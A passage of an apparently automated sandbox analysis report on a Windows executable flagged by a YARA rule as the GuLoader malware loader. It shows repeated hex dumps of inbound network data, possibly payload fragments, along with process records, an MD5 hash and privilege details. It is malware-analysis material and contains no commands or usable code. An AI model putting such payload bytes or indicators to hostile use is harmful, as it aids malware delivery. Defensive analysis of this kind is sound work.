2021-09-15 10:18:25 UTC	100	IN	Data Raw: b9 28 0d 18 a1 7c 9f 99 ba da 3f 89 59 dc 34 20 2a ca 0d d3 39 b3 eb b2 1b ac 42 b9 23 b6 19 ab d3 a8 0e 4f c3 fb 45 cc 91 30 11 d3 44 44 8b 79 22 fd 1a 22 4a b2 a5 29 30 a4 03 d6 4d cf de b2 0d b3 37 11 ad f6 5d ea c3 c2 7c 96 d5 d6 d4 c0 b7 c6 de da d9 07 6f 30 da 38 c7 29 d4 db 5e f7 de 45 b4 1d e2 f1 b5 6d 2f 1e 29 81 31 8d d6 75 53 22 a1 b8 08 70 28 03 02 ba 60 ad 43 5e f0 54 e9 d2 93 91 01 6a 46 ae 61 30 87 4f fa 38 b2 7c a1 54 b2 79 cb f2 1c 77 9e 91 53 ff 6e eb f3 72 71 65 6c 5f 55 e5 30 c2 d1 70 c4 ea f2 77 ab 15 41 b2 b5 be 65 34 e2 cb a3 f9 74 fd 8d 65 23 4e b6 3f ca 58 ca 62 76 a8 92 f7 5e 62 38 2b cc 12 ab 83 c0 b7 0f c7 b4 1d 89 f6 92 22 d1 3e 8a 7b dc 8c bb 5a 9b a0 57 00 5e c6 b8 89 a2 65 32 74 1c f2 4e d7 13 9c 21 f5 10 be b6 7c d6 37 bb Data Ascii: ([?Y4 *9B#OEODDY""J)0M7]]o08)^Emf)1uS"p(^C^TjFa0Ok[T+ywSnrqel_U0pAwE4te#N?Xbv^b8+>[ZW^e2tN!]/7
2021-09-15 10:18:25 UTC	102	IN	Data Raw: 45 aa ac 2c bd 71 e4 f1 2c 64 15 8c 69 52 43 5d 33 a7 b6 46 6f 26 bb 41 67 56 80 5d 62 8f 4d 1e 88 d0 d6 1b 3f 63 57 56 4d 47 24 5f f6 c3 55 49 f4 bd 4b 46 12 b5 b7 8c bb 6c 5a bc d7 75 ca 40 09 28 20 0b 18 75 60 c1 f6 88 6d 02 39 b4 60 73 64 77 fb 9c 90 57 eb 6e 85 4e e8 15 8f 15 38 cb f8 a2 ed ea 1d 72 ce 67 c6 80 66 ca f6 ec 5f 7e 05 bb 16 16 4c 7d d4 28 d5 7a f5 50 76 af 7d d0 01 9d e2 2d e6 e8 99 a9 8d af ad 8e d6 8e e9 a3 24 37 7c 2c 2e eb 3a 65 65 38 cd 83 69 2e 50 0f bd 3c da 20 5a c9 2c 1e c8 a4 a7 75 f0 bf 7e 19 91 e0 6c 68 f3 8e ce 3f 15 78 2b bb 1b e4 01 6b 6b de d7 83 b6 62 e3 17 ee 02 84 28 c9 6b d5 29 48 64 d9 07 55 3c 7b a2 62 3d 82 e1 58 4d 3d b6 ee 5e 1e 4d ec 1e f3 05 f5 d6 93 51 31 1a c8 8a bb d3 73 f4 9d 7e b8 04 7e 25 44 41 4d 2e 91 Data Ascii: E,q,diRC]3Fo&AgV]bM?cWVMG\$_UIKFIZu@(\ u'm9'sdwWnN8rgf_-L](zPv)-\$7]...ee8i.P< Z,u-lh?x+kkb(k)HdU<{b=XM=^MQ1s~~%DAM.
2021-09-15 10:18:25 UTC	103	IN	Data Raw: 9c 9a 6d 3f 2b 61 09 fe 22 59 c0 79 82 81 33 6a 69 cd 6d 7f 6a ce 0e 9f 99 71 d8 77 ec 38 ac 75 4c 46 a5 6e d3 f6 b1 a3 d7 7a dc 04 cb 46 d3 19 ab 99 aa 49 2a b7 ab 37 a3 f2 55 62 a0 0c 21 ea 09 22 fd 51 67 18 fc e0 65 03 96 2d b2 21 a3 de b2 33 b3 74 7e e4 98 34 9e aa a3 10 ff af b3 d4 c0 db c6 9d b5 8c 69 06 5e b3 4c ae 48 b8 b2 24 92 de 45 a4 1d a1 9e f6 1f 4a 7f 5d e4 78 e3 a5 01 32 4c c2 dd 08 70 47 6f 67 89 52 83 27 32 9c 54 a6 9e d6 d0 54 3e 75 9c 4f 54 eb 23 fa 6b 02 7c a1 54 2b 79 cb f2 1c 77 9e 91 53 ff 6e eb f3 72 71 65 6c 5f 55 e5 30 c2 d1 70 c4 ea f2 77 ab 15 41 b2 b5 be 65 34 e2 cb a3 f9 74 fd 8d 65 23 4e b6 3f ca 58 ca 62 76 a8 92 f7 5e 62 38 2b cc 12 ab 83 c0 b7 0f c7 b4 1d 89 f6 92 22 d1 3e 8a 7b dc 8c bb 5a 9b a0 57 00 5e c6 b8 89 a2 65 Data Ascii: m?+a"Yy3jimjqw8uLFnzFI*7Ub!"Qge-!3t-4i^LH\$EJ]x2LpGogR'2TT>uOT#k[T+ywSnrqel_U0pAwE4te#N?Xbv^b8+>[ZW^e
2021-09-15 10:18:25 UTC	104	IN	Data Raw: 19 d4 f9 cd 60 61 dc b7 29 d9 41 a5 a1 54 03 b5 86 45 aa ac 2c bd 71 e4 f1 2c 64 15 8c 69 52 43 5d 33 a7 b6 46 6f 26 bb 41 67 56 80 5d 62 8f 4d 1e 88 d0 d6 1b 3f 63 57 56 4d 47 24 5f f6 c3 55 49 f4 bd 4b 46 12 b5 b7 8c bb 6c 5a bc d7 75 ca 40 09 28 20 0b 18 75 60 c1 f6 88 6d 02 39 b4 60 73 64 77 fb 9c 90 57 eb 6e 85 4e e8 15 8f 15 38 cb f8 a2 ed ea 1d 72 ce 67 c6 80 66 ca f6 ec 5f 7e 05 bb 16 16 4c 7d d4 28 d5 7a f5 50 76 af 7d d0 01 9d e2 2d e6 e8 99 a9 8d af ad 8e d6 8e e9 a3 24 37 7c 2c 2e eb 3a 65 65 38 cd 83 69 2e 50 0f bd 3c da 20 5a c9 2c 1e c8 a4 a7 75 f0 bf 7e 19 91 e0 6c 68 f3 8e ce 3f 15 78 2b bb 1b e4 01 6b 6b de d7 83 b6 62 e3 17 ee 02 84 28 c9 6b d5 29 48 64 d9 07 55 3c 7b a2 62 3d 82 e1 58 4d 3d b6 ee 5e 1e 4d ec 1e f3 05 f5 d6 93 51 31 1a Data Ascii: ^a)ATE,q,diRC]3Fo&AgV]bM?cWVMG\$_UIKFIZu@(\ u'm9'sdwWnN8rgf_-L](zPv)-\$7]...ee8i.P< Z,u-lh?x+kkb(k)HdU<{b=XM=^MQ1
2021-09-15 10:18:25 UTC	105	IN	Data Raw: 3d 79 ec 95 03 c3 bc e1 54 22 28 c6 1c ff 9d 9e a1 9c 9a 6d 3f 2b 61 09 fe 22 59 c0 79 82 81 33 6a 69 cd 6d 7f 6a ce 0e 9f 99 71 d8 77 ec 38 ac 75 4c 46 a5 6e d3 f6 b1 a3 d7 7a dc 04 cb 46 d3 19 ab 99 aa 49 2a b7 ab 37 a3 f2 55 62 a0 0c 21 ea 09 22 fd 51 67 18 fc e0 65 03 96 2d b2 21 a3 de b2 33 b3 74 7e e4 98 34 9e aa a3 10 ff af b3 d4 c0 db c6 9d b5 8c 69 06 5e b3 4c ae 48 b8 b2 24 92 de 45 a4 1d a1 9e f6 1f 4a 7f 5d e4 78 e3 a5 01 32 4c c2 dd 08 70 47 6f 67 89 52 83 27 32 9c 54 a6 9e d6 d0 54 3e 75 9c 4f 54 eb 23 fa 6b 02 7c a1 54 2b 79 cb f2 1c 77 9e 91 53 ff 6e eb f3 72 71 65 6c 5f 55 e5 30 c2 d1 70 c4 ea f2 77 ab 15 41 b2 b5 be 65 34 e2 cb a3 f9 74 fd 8d 65 23 4e b6 3f ca 58 ca 62 76 a8 92 f7 5e 62 38 2b cc 12 ab 83 c0 b7 0f c7 b4 1d 89 f6 92 22 d1 Data Ascii: =yT"(m?+a"Yy3jimjqw8uLFnzFI*7Ub!"Qge-!3t-4i^LH\$EJ]x2LpGogR'2TT>uOT#k[T+ywSnrqel_U0pAwE4te#N?Xbv^b8+"
2021-09-15 10:18:25 UTC	107	IN	Data Raw: 33 19 9e 23 16 15 4f e1 80 d8 77 cf 23 72 cd 3f 8b 19 d4 f9 cd 60 61 dc b7 29 d9 41 a5 a1 54 03 b5 86 45 aa ac 2c bd 71 e4 f1 2c 64 15 8c 69 52 43 5d 33 a7 b6 46 6f 26 bb 41 67 56 80 5d 62 8f 4d 1e 88 d0 d6 1b 3f 63 57 56 4d 47 24 5f f6 c3 55 49 f4 bd 4b 46 12 b5 b7 8c bb 6c 5a bc d7 75 ca 40 09 28 20 0b 18 75 60 c1 f6 88 6d 02 39 b4 60 73 64 77 fb 9c 90 57 eb 6e 85 4e e8 15 8f 15 38 cb f8 a2 ed ea 1d 72 ce 67 c6 80 66 ca f6 ec 5f 7e 05 bb 16 16 4c 7d d4 28 d5 7a f5 50 76 af 7d d0 01 9d e2 2d e6 e8 99 a9 8d af ad 8e d6 8e e9 a3 24 37 7c 2c 2e eb 3a 65 65 38 cd 83 69 2e 50 0f bd 3c da 20 5a c9 2c 1e c8 a4 a7 75 f0 bf 7e 19 91 e0 6c 68 f3 8e ce 3f 15 78 2b bb 1b e4 01 6b 6b de d7 83 b6 62 e3 17 ee 02 84 28 c9 6b d5 29 48 64 d9 07 55 3c 7b a2 62 3d 82 e1 58 Data Ascii: 3#Ow#r?^a)ATE,q,diRC]3Fo&AgV]bM?cWVMG\$_UIKFIZu@(\ u'm9'sdwWnN8rgf_-L](zPv)-\$7]...ee8i.P< Z,u-lh?x+kkb(k)HdU<{b=X
2021-09-15 10:18:25 UTC	108	IN	Data Raw: 72 f2 80 10 9a 56 09 98 f9 9a 1c 58 b1 88 c6 1f 9b 3d 79 ec 95 03 c3 bc e1 54 22 28 c6 1c ff 9d 9e a1 9c 9a 6d 3f 2b 61 09 fe 22 59 c0 79 82 81 33 6a 69 cd 6d 7f 6a ce 0e 9f 99 71 d8 77 ec 38 ac 75 4c 46 a5 6e d3 f6 b1 a3 d7 7a dc 04 cb 46 d3 19 ab 99 aa 49 2a b7 ab 37 a3 f2 55 62 a0 0c 21 ea 09 22 fd 51 67 18 fc e0 65 03 96 2d b2 21 a3 de b2 33 b3 74 7e e4 98 34 9e aa a3 10 ff af b3 d4 c0 db c6 9d b5 8c 69 06 5e b3 4c ae 48 b8 b2 24 92 de 45 a4 1d a1 9e f6 1f 4a 7f 5d e4 78 e3 a5 01 32 4c c2 dd 08 70 47 6f 67 89 52 83 27 32 9c 54 a6 9e d6 d0 54 3e 75 9c 4f 54 eb 23 fa 6b 02 7c a1 54 2b 79 cb f2 1c 77 9e 91 53 ff 6e eb f3 72 71 65 6c 5f 55 e5 30 c2 d1 70 c4 ea f2 77 ab 15 41 b2 b5 be 65 34 e2 cb a3 f9 74 fd 8d 65 23 4e b6 3f ca 58 ca 62 76 a8 92 f7 5e 62 Data Ascii: rVX=yT"(m?+a"Yy3jimjqw8uLFnzFI*7Ub!"Qge-!3t-4i^LH\$EJ]x2LpGogR'2TT>uOT#k[T+ywSnrqel_U0pAwE4te#N?Xbv^b
2021-09-15 10:18:25 UTC	109	IN	Data Raw: 08 16 61 12 e7 9a e2 31 36 06 b4 fb eb 31 58 d2 be 33 19 9e 23 16 15 4f e1 80 d8 77 cf 23 72 cd 3f 8b 19 d4 f9 cd 60 61 dc b7 29 d9 41 a5 a1 54 03 b5 86 45 aa ac 2c bd 71 e4 f1 2c 64 15 8c 69 52 43 5d 33 a7 b6 46 6f 26 bb 41 67 56 80 5d 62 8f 4d 1e 88 d0 d6 1b 3f 63 57 56 4d 47 24 5f f6 c3 55 49 f4 bd 4b 46 12 b5 b7 8c bb 6c 5a bc d7 75 ca 40 09 28 20 0b 18 75 60 c1 f6 88 6d 02 39 b4 60 73 64 77 fb Data Ascii: a161X3#Ow#r?^a)ATE,q,diRC]3Fo&AgV]bM?cWVMG\$_UIKFIZu@(\ u'm9'sdw

Code Manipulations

Statistics

Behavior



Click to jump to process

System Behavior

Analysis Process: SecuriteInfo.com.__vbaHresultCheckObj.22789.exe PID: 6388

Parent PID: 4160

General

Start time:	12:14:30
Start date:	15/09/2021
Path:	C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.22789.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.22789.exe'
Imagebase:	0x400000
File size:	122880 bytes
MD5 hash:	308FB834EE02960EC122CF34712FA871
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.503499325.0000000002AD0000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: SecuriteInfo.com.__vbaHresultCheckObj.22789.exe PID: 7048

Parent PID: 6388

General

Start time:	12:16:40
Start date:	15/09/2021
Path:	C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.22789.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.22789.exe'
Imagebase:	0x400000
File size:	122880 bytes
MD5 hash:	308FB834EE02960EC122CF34712FA871
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

File Activities

Show Windows behavior

File Created

File Deleted

File Moved

File Written

File Read

Disassembly

Code Analysis